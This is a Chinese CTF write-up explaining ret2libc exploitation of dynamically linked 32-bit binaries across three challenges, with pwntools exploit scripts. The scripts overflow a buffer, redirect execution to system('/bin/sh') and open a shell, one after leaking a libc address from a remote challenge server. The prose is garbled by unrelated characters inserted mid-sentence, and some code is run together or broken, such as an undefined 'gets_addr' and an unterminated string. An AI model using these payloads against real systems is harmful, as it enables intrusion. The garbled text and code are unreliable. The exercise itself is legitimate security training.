ret2libc原理(動(dòng)態(tài)編譯)
ret2libc 即控制函數(shù)的執(zhí)行 libc 中的函數(shù)狰闪,通常是返回至某個(gè)函數(shù)的 plt 處或者函數(shù)的具體位置(即函數(shù)對(duì)應(yīng)的 got表項(xiàng)的內(nèi)容)。一般情況下物舒,我們會(huì)選擇執(zhí)行 system("/bin/sh")犬耻,故而此時(shí)我們需要知道 system 函數(shù)的地址煎谍。
ret2libc1
老規(guī)矩拿道題的第一步檢查保護(hù)機(jī)制和多少位程序:(checksec ret2libc)
用IDA打開(kāi)找到main函數(shù)F5查看偽代碼
發(fā)現(xiàn)了system的地址
shift+f12看看有沒(méi)有/bin/sh
思路大概就有了坊萝,通過(guò)溢出苛预,跳轉(zhuǎn)到到system函數(shù)執(zhí)行”/bin/sh”拿shell句狼。這里我們需要注意函數(shù)調(diào)用棧的結(jié)構(gòu),如果是正常調(diào)用 system 函數(shù)热某,我們調(diào)用的時(shí)候會(huì)有一個(gè)對(duì)應(yīng)的返回地址腻菇,這里以填入任意字節(jié)比如'aaaa' 作為虛假的地址,其后參數(shù)對(duì)應(yīng)的參數(shù)內(nèi)容昔馋。
最后計(jì)算一下偏移量(112)
exp如下
from pwn import*
?p = process("./ret2libc1")
#r = remote('ip',port)
bin_sh = 0x8048720
sys_addr = 0x8048460
payload = 'a'*112 + p32(sys_addr) + p32(0x1) + p32(bin_sh)
p.sendline(payload)
p.interactive()
ret2libc2
ret2libc2和ret2libc1的區(qū)別在于沒(méi)有了 "/bin/sh" 字符串筹吐,需要通過(guò) gets 函數(shù)寫(xiě)到一個(gè)可讀可寫(xiě)的地方,通常會(huì)找 bss 段秘遏,然后去執(zhí)行 /bin/sh
查看保護(hù)機(jī)制和多少位程序(checksec ret2libc2)
NX保護(hù)32位扔進(jìn)IDA
可能存在棧溢出也有system地址 shift+F12看一眼有沒(méi)有/bin/sh
沒(méi)有/bin/sh字串丘薛,所以需要我們自己需要通過(guò)gets把它寫(xiě)入.bss段,然后作為參數(shù)給system
找一下bass段的地址
readelf -S ret2libc2 | grep bss
再用vmmap檢測(cè)一下bass段權(quán)限
gdb -q ret2libc2
start
vmmap
通過(guò)查找邦危,可以找到的數(shù)據(jù)如下:
sys_addr=0x8048490
bss_addr=0x804A040
get_addr=0x8048460
在計(jì)算偏移量為(112)
exp1如下
from pwn import*
p = process("./ret2libc2")
#r = remote('ip',port)
sys_addr=0x8048490
get_addr=0x8048460
bss_addr=0x804A040
payload = 'a'*112 + p32 (get_addr) + p32(sys_addr) +p32(bss_addr) + p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
exp2如下
from pwn import*
p = process("./ret2libc2")
sys_addr=0x8048490
get_addr=0x8048460
bss_addr=0x804A040
pop_ret = 0x0804843d
payload = ''
payload += 'a'*112
payload += p32(gets_addr)
payload += p32(pop_ret)
payload += p32(bss_addr)
payload += p32(sys_addr)
payload += 'a'*4
payload += p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh\')
p.interactive()
#尋找pop_ret:ROPgadget –binary ret2libc2 –only ‘pop|ret’| grep ‘ebx’
ret2libc3手法
動(dòng)態(tài)編譯的程序中真實(shí)地址=偏移地址+基地址洋侨,不同版本的libc庫(kù)舍扰,其偏移不同,我們我們可以通過(guò)libc庫(kù)版本去尋找每個(gè)函數(shù)的偏移希坚,泄露已知函數(shù)的真實(shí)地址去計(jì)算其基地址边苹,從而構(gòu)造出system的函數(shù)的真實(shí)地址。
ret2libc3和ret2libc2和ret2libc1的區(qū)別在于沒(méi)有 system 也沒(méi)有 /bin/sh裁僧,需要使用 libc 中的 system 和 /bin/sh个束,知道了libc中的一個(gè)函數(shù)的地址就可以確定該程序利用的 libc,從而知道其他函數(shù)的地址聊疲。獲得 libc 的某個(gè)函數(shù)的地址通常采用的方法是:通過(guò) got 表泄露播急,但是由于libc的延遲綁定,需要泄露的是已經(jīng)執(zhí)行過(guò)的函數(shù)的地址
拿到題先查看一下保護(hù)機(jī)制
扔進(jìn)ida觀察
shift+f12看一眼有沒(méi)有/bin/sh字符串
既然存在棧溢出就確定偏移量
思路如下
通過(guò)第一次溢出售睹,通過(guò)將 puts 的 PLT 地址放到返回處桩警,泄漏出執(zhí)行過(guò)的函數(shù)的 GOT 地址(實(shí)際上 write 的就可以)
將 write 的返回地址設(shè)置為 _start 函數(shù)(main () 函數(shù)是用戶代碼的入口,是對(duì)用戶而言的昌妹;而_start () 函數(shù)是系統(tǒng)代碼的入口捶枢,是程序真正的入口),方便再次用來(lái)執(zhí)行 system('/bin/sh')
通過(guò)泄露的函數(shù)的 GOT 地址計(jì)算出 libc 中的 system 和 /bin/sh 的地址
再次通過(guò)溢出將返回地址覆蓋成泄露出來(lái)的 system 的地址 getshell
exp如下
from pwn import *
from LibcSearcher import *
?#導(dǎo)入LibcSearch模塊
r = remote('111.198.29.45',51596)
elf = ELF('./level3')
write_plt = elf.plt['write']
#要利用的函數(shù)
write_got = elf.got['write']
#要泄露的函數(shù)的GOT地址飞崖,里面的內(nèi)容即真實(shí)地址
main_addr = elf.symbols['main']
#返回地址為main烂叔,使其還可溢出
payload = 'a'*140+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)r.recv()r.sendline(payload)write_addr = u32(r.recv()[:4])
#發(fā)送payload后會(huì)接收到write的真實(shí)地址
libc = LibcSearcher('write',write_addr)
#利用LibcSearcher尋找libc版本
base = write_addr - libc.dump('write')
#.dump為偏移地址
sys_addr = base + libc.dump('system')
sh_addr = base +libc.dump('str_bin_sh')
payload2 = 'a'*140 +p32(sys_addr)+'b'*4+p32(sh_addr)
r.recv()
r.sendline(payload2)
r.interactive()
知識(shí)補(bǔ)充:
動(dòng)態(tài)編譯與靜態(tài)編譯
1、動(dòng)態(tài)編譯的可執(zhí)行文件需要附帶一個(gè)的動(dòng)態(tài)鏈接庫(kù)(libc庫(kù))固歪,在執(zhí)行時(shí)蒜鸡,需要調(diào)用其對(duì)應(yīng)動(dòng)態(tài)鏈接庫(kù)中的命令。所以其優(yōu)點(diǎn)一方面是縮小了執(zhí)行文件本身的體積牢裳,另一方面是加快了編譯速度逢防,節(jié)省了系統(tǒng)資源。缺點(diǎn)一是哪怕是很簡(jiǎn)單的程序蒲讯,只用到了鏈接庫(kù)中的一兩條命令忘朝,也需要附帶一個(gè)相對(duì)龐大的鏈接庫(kù);二是如果其他計(jì)算機(jī)上沒(méi)有安裝對(duì)應(yīng)的運(yùn)行庫(kù)判帮,則用動(dòng)態(tài)編譯的可執(zhí)行文件就不能運(yùn)行局嘁。
2、靜態(tài)編譯就是編譯器在編譯可執(zhí)行文件的時(shí)候晦墙,將可執(zhí)行文件需要調(diào)用的對(duì)應(yīng)動(dòng)態(tài)鏈接庫(kù)(.so)中的部分提取出來(lái)悦昵,鏈接到可執(zhí)行文件中去,使可執(zhí)行文件在運(yùn)行的時(shí)候不依賴于動(dòng)態(tài)鏈接庫(kù)晌畅。所以其優(yōu)缺點(diǎn)與動(dòng)態(tài)編譯的可執(zhí)行文件正好互補(bǔ)但指。
GOT表和PLT表
在目前的 C 程序中,libc中的函數(shù)都是通過(guò) GOT 表來(lái)跳轉(zhuǎn)的。通過(guò)PLT表作為中間表鏈接call命令和got表枚赡,而got表中的內(nèi)容是函數(shù)的真實(shí)地址氓癌。在一些pwn題中,要泄漏出的函數(shù)地址應(yīng)該是got表中的內(nèi)容贫橙,為了泄漏這些真正的地址贪婉,往往會(huì)用到read,write卢肃,put等函數(shù)疲迂,通過(guò)已知同時(shí)存在于got和libc的函數(shù)地址,可以得出偏移量莫湘,接著就能通過(guò)偏移量找到system函數(shù)的真正地址尤蒿,從而進(jìn)行ret2libc操作.
摘自某大佬博客
推薦其他的師傅wp:
此篇文章如果存在問(wèn)題,還望大佬批評(píng)指正